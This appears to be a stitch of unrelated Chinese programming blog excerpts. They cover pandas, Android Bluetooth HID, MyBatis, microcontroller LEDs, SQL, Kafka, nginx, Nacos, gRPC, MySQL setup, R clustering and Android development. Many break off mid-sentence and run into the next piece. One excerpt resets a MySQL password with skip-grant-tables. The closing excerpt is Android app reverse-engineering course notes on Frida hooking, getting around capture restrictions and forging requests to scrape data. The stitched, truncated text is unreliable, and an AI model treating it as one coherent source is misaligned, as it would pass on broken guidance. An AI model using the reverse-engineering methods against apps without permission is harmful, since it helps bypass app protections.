import pandas as pd import numpy as np df=pd.DataFrame([['A',1],['B',2],['C',5],['D',4],['E',10],['F',13],['G',8]], columns=['col_1','col_2'], index=list('abcdefg')) df结果如下:
使用常量修改DataFrame列的值 使用一个常量对DataFrame列中的数据进行修改时,代码举例如下:
df1=df.copy() df1['col_1']='H' df1.loc[['a','c','d'],'col_2']=100 #将指定索引的列值进行修改 df1.iloc[4:,-1]=200 df1的结果如下:
使用List\array修改DataFrame列的值 当需要对DataFrame列中的多个值进行修改时,可以使用List或array等变量型数据来对其进行修改。具体代码如下:
df2=df.copy() df2['col_1']=list(range(7)) df2.loc[df2.index<='d','col_2']=np.array([15,20,25,30]) df2.iloc[4:,-1]=np.array([10,5,0]) df2的结果如下:
使用Series/DataFrame修改DataFrame列的值 除了以上两种数据类型之外,还可以使用Series型数据来修改DataFrame列的值。但使用这种方法时,需要索引对齐,否则会出错。具体举例如下:
df3=df.copy() df3['col_1']=pd.Series([1,2,3,4,5,6,7]) #索引不对齐时不会报错,但没有成功修改列值。 df3.loc[['a','b','c'],'col_2']=pd.Series([100,200,300],index=list('abc')) df3.iloc[3:,-1]=pd.DataFrame([[4000],[5000],[6000],[7000]],index=list('cdef')) 其结果如下:
2. replace方法 DataFrame对象自带的方法replace()也可以实现列值的修改。该方法中的参数主要有以下几个:
参数作用to_replace确定需要修改列值的数据。可接受的数据类型有:str, regex, list, dict, Series, int, float, or Nonevalue指定修改后的值。可接受的数据类型有:scalar, dict, list, str, regex, default Noneinplace是否本地置换limit指定前后填充的最大次数regex正则表达式符号。如果需要在to_replace中使用字符串形式的正则表达式对数据进行筛选的话,需要将其设置为True。method填充方式。‘pad’, ‘ffill’, ‘bfill’, None 创建如下数据,具体如下:
df=pd.DataFrame([['A','A'],['B','B'],['C',5],['D',4]], columns=['col_1','col_2'], index=list('abcd')) df的结果如下:
对整个DataFrame中的指定数据进行替换 #A替换为aaa,B替换为bbb,4替换为100 df_1=df.replace(to_replace=['A','B',4],value=['aaa','bbb',100]) #将A替换为AAAA df_2=df.
异常描述 在蓝牙HID的开发过程中,使用红米K30手机 MIUI12.5(Android 11) 系统,打算将手机打造成蓝牙外设(键盘、触摸板、游戏手柄等)。首先调用下面的方式与系统蓝牙HID服务绑定:
mBtAdapter.getProfileProxy(mContext, mServiceListener, BluetoothProfile.HID_DEVICE); 出现下面的错误信息
Could not bind to Bluetooth Service with Intent { act=android.bluetooth.IBluetoothHidDevice }
上述报错后就不会与系统蓝牙HID服务绑定,从而无法得到 BluetoothHidDevice 进行注册。而使用 BluetoothProfile.A2DP 绑定时则无此问题。
源码分析 方法 BluetoothAdapter.getProfileProxy() 的代码如下:
public boolean getProfileProxy(Context context, BluetoothProfile.ServiceListener listener, int profile) { if (context == null || listener == null) { return false; } if (profile == BluetoothProfile.HEADSET) { BluetoothHeadset headset = new BluetoothHeadset(context, listener, this); return true; } else if (profile == BluetoothProfile.
mybatis解析-association实现原理详解_龚厂长的博客-CSDN博客_mybatis association
可以使用association标签或者collection来完成,之前开发的时候经常会需要返回这种嵌套的结构的数据比如查询用户列表,然后用户的联系人集合 大概结构如下:
用户:{ id:用户id, name:用户名称 phone:用户手机 contactList:[ {联系人json数据1},{联系人json数据2},{联系人json数据3} ] } 如果先查询一个用户的集合,然后遍历根据每个用户的ID再去关联查询联系人表则效率受影响,而且一般公司也禁止这么去做,那么我之前的做法就是先查询出用户列表集合:
List<Long> userIds =userList.stream().map(user->user.getId()).collect(Collection.toList); ContactList 联系人结果List= 联系人Mapper.selectUserByIds(userIds); 然后用用户的集合和联系人的结果双向遍历,如果用户的id等于联系人的用户ID,就往用户的联系人集合里put 这样其实也是能解决问题的,但是写起来的话就比较麻烦 其实可以使用mybatis里的映射来做 会简单很多,开发这么些年 其实还真没有用过这个功能 下面我就以collection这个标签来举例
首先是返回的实体对象1-项目表
@Data public class BusiProjectInitiationParam extends BaseParam { /** * */ @NotNull(message = "不能为空,请检查id参数", groups = {edit.class, delete.class, detail.class}) private Long projectId; /** * 操作id */ @NotNull(message = "操作id不能为空,请检查optId参数", groups = {add.class, edit.class}) private Long busiOptId; /** * 项目编号 */ @NotBlank(message = "项目编号不能为空,请检查code参数", groups = {add.
目录
任务要求:
1、按键 1、2、3、4 按下,使 8 个 LED 实现下面对应的模式 1、 2、 3、4,上电默认每种模式流水灯的流转时间间隔为 500ms。
1)模式1:按照L1、L2……L8的顺序,从左到右循环点亮。
2)模式2:按照L8、L7……L1的顺序,从右刀座循环点亮。
3)模式3:从两边向中间点亮( (L1,L8)->(L2,L7)->(L3,L6)->(L4,L5) )
4)模式4:从中间向两边点亮( (L4,L5)->(L3,L6)->(L2,L7)->(L1,L8) )
2、按键5按下流水灯的流转时间间隔增加100ms,超过1200ms从400ms开始,用定时器控制时间
3、代码简洁,注释简单易懂。
实现思路:
按键部分
定时器部分
LED处理部分
函数部分
程序源码
任务要求: 1、按键 1、2、3、4 按下,使 8 个 LED 实现下面对应的模式 1、 2、 3、4,上电默认每种模式流水灯的流转时间间隔为 500ms。 1)模式1:按照L1、L2……L8的顺序,从左到右循环点亮。 2)模式2:按照L8、L7……L1的顺序,从右刀座循环点亮。 3)模式3:从两边向中间点亮( (L1,L8)->(L2,L7)->(L3,L6)->(L4,L5) ) 4)模式4:从中间向两边点亮( (L4,L5)->(L3,L6)->(L2,L7)->(L1,L8) ) 2、按键5按下流水灯的流转时间间隔增加100ms,超过1200ms从400ms开始,用定时器控制时间 3、代码简洁,注释简单易懂。 实现思路: 程序大体框架如下图:
还没学过Visio画图,第一次尝试,轻喷~
按键部分 我们先把按键放在定时器里刷新,识别到几号按键按下,就对应LED灯按照第几个模式点亮,按键1按下就是模式1,按键2按下就是模式2……模式1234转换可以用一个全局变量实现,我代码中本变量名称为Light_Mode
主函数要循环判断Light_Mode变量的数值,所以写一个无参数无返回值的LED处理的函数,先根据按键返回值,给Light_Mode变量赋相应的状态值,再根据这个状态值,实现四种不同模式的点灯。
定时器+中断 定时时间10ms,因为51单片机定时时间上限大约是70ms,按键消抖的部分大概是10ms,所以按键在定时器中以10ms时间扫描一次它的状态,每10ms扫描一次它的状态,就会滤除硬件抖动的部分,LED要求的500ms定时,可以在这个10ms基础上累加计数,就是每10ms计数变量自加1,计数变量==50的时候,就是500ms了
要求2 要改变LED闪烁时间间隔 ,那就再定义一个全局变量 unsigned int SpaceT = 500;
名称SpaceT,初值500ms
按键5 按一下SpaceT变量自加100,超过1200,给SpaceT赋值400
级联跟新数据(根据a表更新b表数据) -- pgsql写法 update td_book_ranking_month_summary(用别名报错) set book_author = b.book_author from td_book b where td_book_ranking_month_summary.book_id = b.book_id -- mysql写法 update back_element_info_table set ele_id = (select element_id from back_element_table bet where ele_id = bet.old_id) 生成随机数 select id,substring((random()::varchar),3,6) from generate_series (1,200) as t(id) 导出带表头的数据 select '姓名', '性别', '年龄', '住址' UNION ALL select 'name' as 姓名, 'sex' as 性别, 'age' as 年龄, 'address' as 住址 from myinfo 查看序列 select relname from pg_class where relkind='S' pgsql时间操作,计算时间差 -- 时间操作 -- select date_part('day','2018-01-31 15:49:15'::timestamp - '2018-01-10 10:12:15'::timestamp) -- select floor(extract(epoch from now())); -- pgsql断开数据库连接 SELECT pg_terminate_backend(pg_stat_activity.
通过Java操作Kafka 前置知识:https://editor.csdn.net/md/?articleId=125883056
创建maven项目
导入kafka客户端依赖:
<dependencies> <!--导入kafka客户端依赖--> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka-clients</artifactId> <version>2.4.1</version> </dependency> </dependencies> 1 Java客户端,生产者的实现 1.1 生产者的基本实现 entity:
public class Order { private long id; private int count; public long getId() { return id; } public void setId(long id) { this.id = id; } public int getCount() { return count; } public void setCount(int count) { this.count = count; } } producer:
//消息发送方 public class MyProducer { //主题名称 private final static String TOPIC_NAME = "
windows环境下部署html 静态资源(css、js、png、等等)让别人可以通过网站直接访问
部署步骤 组件 nginx内外穿透 如果你没有服务器 的话 可以使用
内网穿透工具 这里用花生壳演示
首先你得有一个html项目 可以自己写一个 也可以直接去github上找开源项目
组件 nginx 去官网下载win版 解压 运行
运行之后检查浏览器可以访问不 默认80 端口
http://localhost:80/
新建 static 文件夹 把 项目复制进去
. 修改配置文件 conf/nginx.conf
第一个是 需要转发的端口号 可以不用修改
第二个是 静态资源存放的目录
配置好之后重新加载 nginx
win下nginx 命令
启动nginx
-- 启动 start nginx -- 停止 nginx -s stop -- 重新加载配置文件 nginx -s reload 效果如下
我是修改了端口号 所以是 81
内外穿透 注意使用https 协议
花生壳默认有1G流量 和 两条映射数 有 免费的壳域名
配置完成之后就可以 把网址发给别人了 如果资源多的话可能打开会有点慢 1M的带宽
安装环境前提,必须安装并配置完成java于mysql环境
一. 下载
下载地址[.tar.gz] https://github.com/alibaba/nacos/releases 二.上传到linux目录
三.安装,解压到安装目录,我的安装目录是usr/local
[root@kyn~]# cd /usr/local/src/
[root@kyn src]# tar -zvxf nacos-server-2.1.0.tar.gz -C /usr/local
设置开机自启
1.添加nacos.service文件
[root@kyn ~]# vim /usr/lib/systemd/system/nacos.service
[Unit]
Description=nacos
After=network.target
[Service]
Type=forking
ExecStart=/usr/local/nacos/bin/startup.sh -m standalone //单机启动
ExecReload=/usr/local/nacos/bin/shutdown.sh
ExecStop=/usr/local/nacos/bin/shutdown.sh
PrivateTmp=true
[Install]
WantedBy=multi-user.target
保存并退出!
2..进入nacos的bin目录下,vim startup.sh修改启动脚本
[root@kyn~]# cd /usr/local/nacos
[root@kyn nacos~]# vim startup.sh
[ ! -e "$JAVA_HOME/bin/java" ] && JAVA_HOME=/usr/local/jdk8
#[ ! -e "$JAVA_HOME/bin/java" ] && JAVA_HOME=/usr/java
#[ ! -e "$JAVA_HOME/bin/java" ] && JAVA_HOME=/opt/taobao/java
#[ !
大家先看下这张图片:
1、HashMap是基于哈希表实现的,而哈希表的底层是数组加上链表的形式。
2、数组内存连续查询效率高,链表内存分散增删改效率高,哈希表采用此种存储数据的形式极大的提高操作数据的效率。
3、哈希表的默认长度是16,编号从0开始。图中编号0-4的长方形代表了一个数组,箭头指向的代表了一个一个的链表。
HashMap存储数据原理 1、用HashMap存储数据( put(key,value) )时,会先操作key调用.hashcode()方法得出hash值,然后再通过哈希算法转换成数组的一个下标,对应的就是在数组上的的存储位置。
2、如果该位置没有数据,则直接存储。如果该位置有数据,则会发生数据碰撞。
3、数据碰撞的时候遍历该位置上链表中的所有数据,并且通过equals()方法来比对每个数据的key。如果key相同的话,会将链表上该位置的数据进行覆盖。如果key不相同的话,在JDK1.8之前是实行的头插法,数据存储在链表头部,1.8之后实行的是尾插法数据存储在链表尾部。
4、JDK1.8之后,当链表上的节点个数(数据个数)大于等于8时并且数组长度不小于64的时候,链表数据结构自动进行树化转化成红黑树,当链表上的数据小于8个时,又会自动退化成链表
5、如果数组的长度小于64的话链表数据个数达到了8的话也不会转化成红黑树,而是先进行扩容,直到数组长度达到64
6、HashMap默认的数组长度是16,扩容的话有两种情况:
1)一种是数组上的元素达到了阈值,16*默认负载因子0.75,也就是12个元素的时候,数组长度扩容为两倍32,阈值变为24
2)还有一种是在没有红黑树的情况下,添加元素后数组中某个链表的长度超过了8,数组会扩容为两倍(比如创建HashMap集合后刚开始添加元素全都在一个链表中,当链表长度是9的时候数组扩容成32,链表长度是10的时候数组扩容成64,此时再添加元素,满足了数组长度为64链表长度到达8的两个条件,链表转换成红黑树)
Spring的的循环依赖问题 文章目录 Spring的的循环依赖问题一. 简介1.什么是循环依赖问题?2.循环依赖有什么影响? 二. 循环依赖复现三. 解决方案1. 重新设计2 使用 @Lazy3. 使用setter注入 四. 三级缓存五. 总结 一. 简介 1.什么是循环依赖问题? 类A依赖类B,类B也依赖类A,这种情况就会出现循环依赖。 Bean A → Bean B → Bean A
2.循环依赖有什么影响? 循环依赖会导致内存溢出
public class AService { private BService bService = new BService(); } public class BService { private AService aService = new AService(); } 当你通过 new AService() 创建一个对象时你会获得一个栈溢出的错误。 如果你了解 Java的初始化顺序就应该知道为什么会出现这样的问题。
因为调用 new AService() 时会先去执行属性 bService 的初始化, 而 bService 的初始化又会去执行AService 的初始化, 这样就形成了一个循环调用,最终导致调用栈内存溢出。
二. 循环依赖复现 StudentA 依赖StudentB,同时 StudentB也依赖StudentA
gRPC教程 RPC算是近些年比较火热的概念了,随着微服务架构的兴起,RPC的应用越来越广泛。本文介绍了RPC和gRPC的相关概念,并且通过详细的代码示例介绍了gRPC的基本使用。
gRPC是什么 gRPC是一种现代化开源的高性能RPC框架,能够运行于任意环境之中。最初由谷歌进行开发。它使用HTTP/2作为传输协议。
快速了解HTTP/2就戳HTTP/2相比HTTP/1.x有哪些重大改进?
在gRPC里,客户端可以像调用本地方法一样直接调用其他机器上的服务端应用程序的方法,帮助你更容易创建分布式应用程序和服务。与许多RPC系统一样,gRPC是基于定义一个服务,指定一个可以远程调用的带有参数和返回类型的的方法。在服务端程序中实现这个接口并且运行gRPC服务处理客户端调用。在客户端,有一个stub提供和服务端相同的方法。[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-6hAz9z0t-1668140783539)(https://www.liwenzhou.com/images/Go/grpc/grpc.svg)]
为什么要用gRPC 使用gRPC, 我们可以一次性的在一个.proto文件中定义服务并使用任何支持它的语言去实现客户端和服务端,反过来,它们可以应用在各种场景中,从Google的服务器到你自己的平板电脑—— gRPC帮你解决了不同语言及环境间通信的复杂性。使用protocol buffers还能获得其他好处,包括高效的序列化,简单的IDL以及容易进行接口更新。总之一句话,使用gRPC能让我们更容易编写跨语言的分布式代码。
IDL(Interface description language)是指接口描述语言,是用来描述软件组件接口的一种计算机语言,是跨平台开发的基础。IDL通过一种中立的方式来描述接口,使得在不同平台上运行的对象和用不同语言编写的程序可以相互通信交流;比如,一个组件用C++写成,另一个组件用Go写成。
安装gRPC 安装gRPC 在你的项目目录下执行以下命令,获取 gRPC 作为项目依赖。
go get google.golang.org/grpc@latest 安装Protocol Buffers v3 安装用于生成gRPC服务代码的协议编译器,最简单的方法是从下面的链接:https://github.com/google/protobuf/releases下载适合你平台的预编译好的二进制文件(protoc-<version>-<platform>.zip)。
适用Windows 64位protoc-3.20.1-win64.zip适用于Mac Intel 64位protoc-3.20.1-osx-x86_64.zip适用于Mac ARM 64位protoc-3.20.1-osx-aarch_64.zip适用于Linux 64位protoc-3.20.1-linux-x86_64.zip 例如,我使用 Intel 芯片的 Mac 系统则下载 protoc-3.20.1-osx-x86_64.zip 文件,解压之后得到如下内容。
其中:
bin 目录下的 protoc 是可执行文件。include 目录下的是 google 定义的.proto文件,我们import "google/protobuf/timestamp.proto"就是从此处导入。 我们需要将下载得到的可执行文件protoc所在的 bin 目录加到我们电脑的环境变量中。
安装插件 因为本文我们是使用Go语言做开发,接下来执行下面的命令安装protoc的Go插件:
安装go语言插件:
go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.28 该插件会根据.proto文件生成一个后缀为.pb.go的文件,包含所有.proto文件中定义的类型及其序列化方法。
安装grpc插件:
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.2 该插件会生成一个后缀为_grpc.pb.go的文件,其中包含:
一种接口类型(或存根) ,供客户端调用的服务方法。服务器要实现的接口类型。 上述命令会默认将插件安装到$GOPATH/bin,为了protoc编译器能找到这些插件,请确保你的$GOPATH/bin在环境变量中。
protocol-buffers 官方Go教程
目录
准备安装环境
1, 安装Mysql基础依赖包:(在root下安装) 删除冲突依赖包
2,创建用户
3,解压MySQL安装包,然后移动mysql包至mysql目录里
4,在mysql目录下创建文件my.cnf,创建data目录
5,进入mysql目录,开始安装mysql
6,启动MySQL 7,获取MySQL登录密码
8,登录mysql输入密码 并更改mysql初始密码
准备安装环境 下载mysql安装包,官网地址:MySQL :: Download MySQL Community Server.
server CentOS7为例
用户名zhao,需要把mysql安装到用户目录下 /home/zhao
1, 安装Mysql基础依赖包:(在root下安装) 删除冲突依赖包 rpm -qa | grep mariadb ##查看并删除冲突依赖包
rpm -qa | grep postfix ##查看并删除冲突依赖包
rpm -e --nodeps mariadb-libs ##删除命令
yum -y install perl-Module-Install.noarch net-tools.x86_64 ##安装依赖包
[root@localhost ~]# yum -y install perl-Module-Install.noarch net-tools.x86_64 libasio 2,创建用户 useradd zhao 用户密码为zhao123
root@localhost ~]# useradd zhao [root@localhost ~]# passwd zhao 更改用户 zhao 的密码 。 新的 密码: 无效的密码: 密码包含用户名在某些地方 重新输入新的 密码: passwd:所有的身份验证令牌已经成功更新。 [root@localhost ~]# [root@localhost ~]# cd /home/zhao/ 3,解压MySQL安装包,然后移动mysql包至mysql目录里 [zhao@localhost /]$ cd home/zhao/ [zhao@localhost ~]$ ls mysql-5.
本文首发于公众号:医学和生信笔记,完美观看体验请至公众号查看本文。
文章目录 系统聚类(层次聚类,Hierarchical clustering)快速聚类(划分聚类,partitioning clustering)K-means聚类围绕中心点的划分PAM 主要介绍使用R语言进行层次聚类、划分聚类(K均值聚类和PAM)。 系统聚类(层次聚类,Hierarchical clustering) 使用nutrient数据集进行演示,这个数据集包含不同食物中的营养物质含量。
# 没安装flexclust包的需要先安装 data(nutrient, package = "flexclust") row.names(nutrient) <- tolower(row.names(nutrient)) dim(nutrient) # 27行5列 ## [1] 27 5 psych::headTail(nutrient) ## energy protein fat calcium iron ## beef braised 340 20 28 9 2.6 ## hamburger 245 21 17 9 2.7 ## beef roast 420 15 39 7 2 ## beef steak 375 19 32 9 2.6 ## ... ... ... ... ... .
找到一篇大家常用的mysql跳过密码验证
在linux环境:
1、进入mysql的配置文件,在[mysqld]下添加skip-grant-tables跳过密码的验证。(注意一定要添加到[mysqld]下)
#vim /etc/my.cnf
2、重启mysql服务
#service mysqld restart
3、登录mysql
#mysql -uroot -p (直接按enter键)
4|、修改密码。
我这里是用set方式修改密码。
mysql>set password for root@localhost=password(‘123456’)
还可以通过alter、grant、update等方式更改密码。
如:update方式:
mysql> update mysql.user set authentication_string=PASSWORD(‘123456’) WHERE user=‘root’;
windows环境更改密码也是类似。
————————————————
版权声明:本文为CSDN博主「俺村我最能吃」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44343935/article/details/101476424
文章目录 前言一、自定义View1、编写自定义view的样式2、在activity对应的页面引用3、编写自定义view java文件 二、mvp框架1.contract2、activity里继承3、presenter里引用 三、retrofit2网络请求框架1、封装网络发起请求设置2、APIService3、presenter里发起请求 四、后端数据返回数据不同的bean类接收解决方案五、360插件化框架总结 前言 刚毕业参加工作的新手小白,自学前端,实习三个月,做过一个Vue项目,结果工作要求学习安卓开发,无奈从零开始。本文仅仅只是记录自己的学习过程,大佬勿喷!
一、自定义View 老板为了给我们增加难度,要求我们用自定义view组件化开发的模式进行开发。方法如下:
1、编写自定义view的样式 随便写了一个样式。
2、在activity对应的页面引用 3、编写自定义view java文件 自定义view的java文件,需要继承layout样式里最外层的控件,本文是RelativeLayout。需要有一个创建实例化的对象,实现activity页面的调用,activity调用是俩个参数的TogglePositionView(Context context, AttributeSet attrs)。
自定义view里可以创建本样式所需的一些方法,方便activity去直接调用。
二、mvp框架 MVP算是android开发中常用的基础框架了,m便是数据层例如model、bean等。v是样式层,也就是样式对应的activity文件。p也就是presenter,也就是数据处理层,网络请求要在这里面发起。
1.contract contract相当于是一个桥梁,连通了activity与presenter。如下是一个contract代码:
在contract里定义的方法。
2、activity里继承 在activity引用它。就会自动生成contract里对应的方法。
3、presenter里引用 在basePresent或者直接在内部实例化contract,俩种方法都可以实现。
通过这种方式,presenter就可以直接调用到activity里的方法,实现数据的交互。activity调用presenter可以直接实例化对象,进行调用。
三、retrofit2网络请求框架 1、封装网络发起请求设置 RetrofitClient主要对网络请求进行配置,例如请求头,请求时长、重连等。RetrofitConst存放的是网络请求的端口。
2、APIService apiservice采用注解描述和配置网络请求参数,用动态代理将该接口的注解“翻译”成一个Http请求,最后执行Http请求。设置了发起请求的bean类与响应返回接收的bean类。
3、presenter里发起请求 注意发起请求的bean类一定要与apiService的bean类相同,接受的bean也是一样。当请求成功时会走onsuccess,请求失败或bean解析错误都会走onerror,请求结束时都会走onfinish。请求到数据后,可以用contract调用activity方法,传递数据。
四、后端数据返回数据不同的bean类接收解决方案 因为后端偷懒,所以直接把web端的接口给了我们(顺便想说,还是前端容易啊,没有bean类的日子太好过了),传递过来的数据的层级与key值都是不一样,这种难度,直接交给我一个小白来做,我好难。最后想到了一个简单的实现方式,就是把几个表单的数据都在bean类里定义,通过判断里面某一个区分的数据,进行不同的页面赋值,但是这种方式,缺点很多,以后如果新加表单,项目还需大改。而且四张表单的数据,我一个一个的核对,差点要了我的命啊。
五、360插件化框架 因为我们所负责的只是整个项目里的一部分。根据学习,发现这种插件化开发的实现方式是基于360插件化框架,具体使用请参考这个链接:https://blog.csdn.net/AlpinistWang/article/details/86773020
总结 在开发过程中,要记得注意代码的规范,否则,最后还要返回来改自己屎一样的代码,真的是头疼。本文只是记录了自己目前开发中大方向的难点问题,还有很多技术难点例如nfc、拍照、ocr等,等后续再记录吧。
经过这个项目,我大概算是入门了吧,未来需要掌握和学习的还有很多很多。之后我会继续记录自己的学习心得,记录自己的成长。唉,打工人好难,我还是念念不忘我的前端。
可能是缺少相关路径、文件或是文件名不需要带扩展
使用modprobe XX.ko命令后,会到文件系统/lib/modules/xxxxx目录下查找相应的XX.ko文件;
这里的xxxxx是指系统内核版本,可以通过uname -r命令获得。
解决方案:
没有这个目录的话,自己创建一个~
创建后将.ko文件放入这个目录中
执行depmod命令
重新执行modprobe XX.ko命令
若还不行:重新执行modprobe XX命令(去掉扩展名)
————————————————
版权声明:本文为CSDN博主「海绵宝宝去哪儿了」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43121830/article/details/104773609
电脑中有很多文件夹,在使用的过程中,如果发现自己不小心将文件夹给隐藏了,该怎么办呢?隐藏文件夹怎么显示?今天为大家分享文件夹被隐藏怎么显示,以及操作过程中,出现文件夹被误删除的情况怎么恢复的方法。
一、文件夹被隐藏了怎么显示 不想让别人看到我们的隐私数据,文件夹怎么隐藏起来?一般隐藏文件夹可以这么操作:鼠标右键点击【win+ r】打开设置窗口,选择隐藏位置,找到【文件夹】,点击【隐藏】按钮。这时文件夹就会被隐藏了。显示隐藏文件夹怎么设置?方法同样很简单,请跟随下面的步骤来显示隐藏文件夹。
演示机型:华硕X8AE43In-SL 系统版本:Windows 10 具体操作:
第一步:打开文件夹,点击上面的【查看】,并点击选项。
第二步:在【文件夹选项】页面里点击【查看】,找到【隐藏受保护的操作系统文件】并取消选择。取消后,会弹出一个警示窗口,点击【是】。
第三步:继续在【文件夹选项】里选择【显示隐藏的文件、文件夹和驱动器】。再选择【应用】,最后点击【确定】,就可以看到隐藏的文件夹。
二、文件夹被删除了怎么恢复 讲解了这么多,怎么把隐藏的文件夹恢复可见?相信上面的操作步骤你已经懂的。操作完成后,如果发现文件夹中有文件丢失了,可能是被你不小心删除了。这时候就需要利用一些软件来恢复。比如数据 蛙恢复专家,它可以更深层次地扫描存储设备里面已经删除的文件、图片、视频、音频等内容;支持恢复Mac和Windows 10/8/7/XP电脑、回收站、内存卡、硬盘、tf卡等设备的数据。
演示机型:华硕X8AE43In-SL 系统版本:Windows 10 软件版本:数据 蛙恢复专家3.1.6 操作步骤:
第1步:在开始页面选择你之前丢失的文件类型,建议新用户全部选择,以便扫描的数据更多样全面。文件所在位置选择之前所保存的地方,不记得的可以分别点击尝试。最后,点击【扫描】按钮。
第2步:在扫描后的页面查看文件,如果没有请点击【深度扫描】。深度扫描结果出来后,选择要恢复的文件,可以批量选择恢复。全部选择好后,点击【恢复】按钮。
备注:文件搜索也可以直接在【筛选框】输入文件名称、保存路径等精准查找。 文件夹隐藏很简单,隐藏文件夹怎么显示的方法也很简单,跟着上面的操作走,就不会有错。就算在操作过程中,出现失误,把文件夹里面的某些数据或者整个文件夹给删除了,除了在回收站找回,还能通过软件来恢复。即使文件夹是永久删除了,数据恢复软件也能很好的帮助你。通过免费试用可以查看有没有你要恢复的数据,有再选择恢复即可。
往期推荐:
u盘损坏如何恢复数据?u盘恢复数据,超好用的几个方法!
txt文件恢复如何操作?详细图文教程
来源【小肩膀 零基础一站式安卓app逆向安全(2021版)】:aHR0cHM6Ly93d3cuYmlsaWJpbGkuY29tL3ZpZGVvL0JWMUFWNDExSjd6aw==
1.课程介绍 安卓逆向用到的语言很多,比如java,c,c++,JavaScript,python,当然我们接触最多的自然是java和c。
adb与Linux命令行:因为我们是要从pc端操作手机的,推荐真机,但是不管真机还是模拟器,adb的操作都是避不开的,因为安卓系统底层的话,就是基于Linux内核开发的,所以里面的shell命令的话,跟Linux非常相似,所以有必要学
frida hook框架实际上在一定程度上代替动态调试,当然也有比动态调试更方便的地方,比如可以hook系统函数,然后通过这种方式定位到关键代码,或者hook关键函数,动态修改逻辑
协议逆向:基本步骤就是,首先分析app,去hook里面的关键函数,得到关键函数的参数和返回值,然后进行算法还原
frida自吐算法,实际上就是去hook一些系统的函数,系统中关键的一些加密函数,如果app调用这些函数,那自然会把传进来的参数和返回结果都打印出来。
现阶段的app来讲,自吐算法威力已经越来越小了,在18年之前的话,自吐算法可以基本上,吐出很多app的算法,因为现在app基本上都是去向so开发的,那么直接是so算法,要么至少也是带一点so算法的。
objection:是基于frida的命令行hook工具, 可以让你不写代码, 敲几句命令就可以对java函数的高颗粒度hook, 还支持RPC调用。让你不写代码就能去完成java层的hook。
在so开发的话,主要进行c和java的交互,在c和java的交互中间必须进过JNI,所以在NDK开发讲的最多就是JNI相关函数,我们弄懂JNI相关函数有什么作用的话,对于so层的逆向是有非常大的帮助的。
不需要还原算法的方案:
【fiddler 拦截 + uvicorn转发方案】:利用fiddler把app发包过程中的数据包给拦截下来,那发包过程中,数据包肯定有带有我们爬虫需要爬取的一些信息的,我们就把这个拦截下来,转发到我们服务端,然后传到数据库里去,这样我们就不需要逆向app也能够得到我们想要的数据,我们只要抓个包就行了。当然这个方案有个缺点,首先你必须开着app的,它的效率会比较低,其次发包过程中数据是加密的,那你还需要去做逆向的【frida rpc + uvicorn算法转发方案】:这个方案的话,它的缺点也是必须开着app,效率比较低,它的优点是,你只要逆向一个app,找到一个hook点就可以了,就是找到关键函数的加密点,你去hook函数,主动调用,传进去指定的参数,得到结果,返回给服务端,然后服务端再转发给爬虫端,进行数据的爬取。 unidbg:是基于unicorn开发的一个框架,是一个能在pc端模拟运行so的框架。有了它就不需要逆向so里面的算法了,我们只需要知道如何调用它就可以了,这是最理想的状态,实际上我们在使用unidbg过程中还需要解决很多问题的,比如说so可能限制unidbg,它会去频繁获取系统相关的东西,它会增加so对系统的依赖,但是unidbg并不是真正的安卓系统,假如so里面需要用到很多安卓系统相关的东西,那还需要补很多代码,就相当于补环境,跟网页js逆向的补环境是一个意思,但是这个效率肯定比前面高点,并且也更稳定,因为不需要开着app,直接把so拿过来就可以了。
抓包:毕竟我们是做安卓协议逆向的,那我们第一步就要进行抓包,很多app在第一步就已经限制你了,就是不让你抓到包。可以尝试
【中间人抓包方案】
【Charles + postern】【httpcanary】【fiddler】【数字证书,证书信息、证书链】【Android证书】 安卓系统编译:通过系统编译,我们可以去修改系统源代码,然后把frida内置到系统,或者过掉一些反调试或者脱壳,反正很有用就对了。
那学完这套课程,后续还要学哪些内容呢?就针对安卓逆向协议来说,我们撇开手游什么的,比方说,socket协议也就是TCP相关的内容,VMP加固,OLLVM也就是so混淆相关的,ARM汇编…
2.什么是安卓app逆向 这里有这么个网站
公司可能有需求,给你一个任务,叫你爬取网站里面的,电影的名字,以及对应的评分,那这个时候怎么做呢?
首先第一步肯定要进行抓包,我们对这个网站进行抓包,
用【fiddler】
比如点击【最新】,在左侧会抓到一系列的数据包
上方是提交的数据,下方是服务器的响应。
说明这些信息,就在这个包中。
那如果我们能通过软件去得到这些信息,是不是就完成这个任务了?
说白了,你在浏览器上做的点击的动作,实际上是发送数据包,去下载一系列的图片,前台通过js,css,html把这里面的信息显示在网页上,供你方便查看,可以理解为就是图形化显示,实际上,真正服务器上关心的是什么东西呢?它关心你怎么点击这个东西吗?肯定不是。它关心的是你发送给它的数据包,是不是符合它的要求,只要你发送的数据包符合它的要求,那么它就会返回给你想要的信息。如果不符合,就返回错误信息。
服务器是不会管你怎么点击的,不管是自动化工具还是按键精灵等等点击的,还是你真正人工点的,它看的都是你发送给它的数据包
也就是说,我们只要把上面的数据包伪造出来,并且认为就是我们浏览器真实发送的,那我们就可以得到想要的信息,实际上,确实是这样子的。
也可以重放
可以相当于这个东西就是postman
就是发送数据包给服务器。
这就需要涉及到HTTP协议了
此时我们可以看到,除了cookie以外,其它都是明文,相关的知识,后面再说。
也就是如果我们要去伪造http协议,相当于选中的信息都是已知的。
https://movie.xxx.xxx/j/search_tags?type=movie&tag=%E6%9C%80%E6%96%B0&source=index 在上方我们发现,除了tag之外都是固定的值,只有这里是我们看不懂的东西,实际上这个就是URL编码
伪造这个数据包 就可以得到我们想要的电影的名字以及评分
这个数据包里面都是明文,这时候需不需要逆向呢?不需要。
在了解完这些事情后,我们再来了解下安卓逆向在做什么事情。
此时我们安装一个app
然后打开后,在登录页面
比如点击【登录】后提示【该帐号还未注册】,实际上这里的操作,你可以想象一下,输入帐号和密码以及点击【登录】,这一步操作是不是也会像服务器发送请求?如果我们帐号和密码符合它的要求的话,那么我们就可以登录成功,如果不正确就会登录失败等等,这时候我们第一反应是不是也要去抓个包呀?
这里用httpcanary进行抓包
打开后,在右下角启动,然后切回去登录
然后停止抓包
然后这里就有相关login的链接,我们点开
这里就有结果,说明这个确实是我们登录请求。
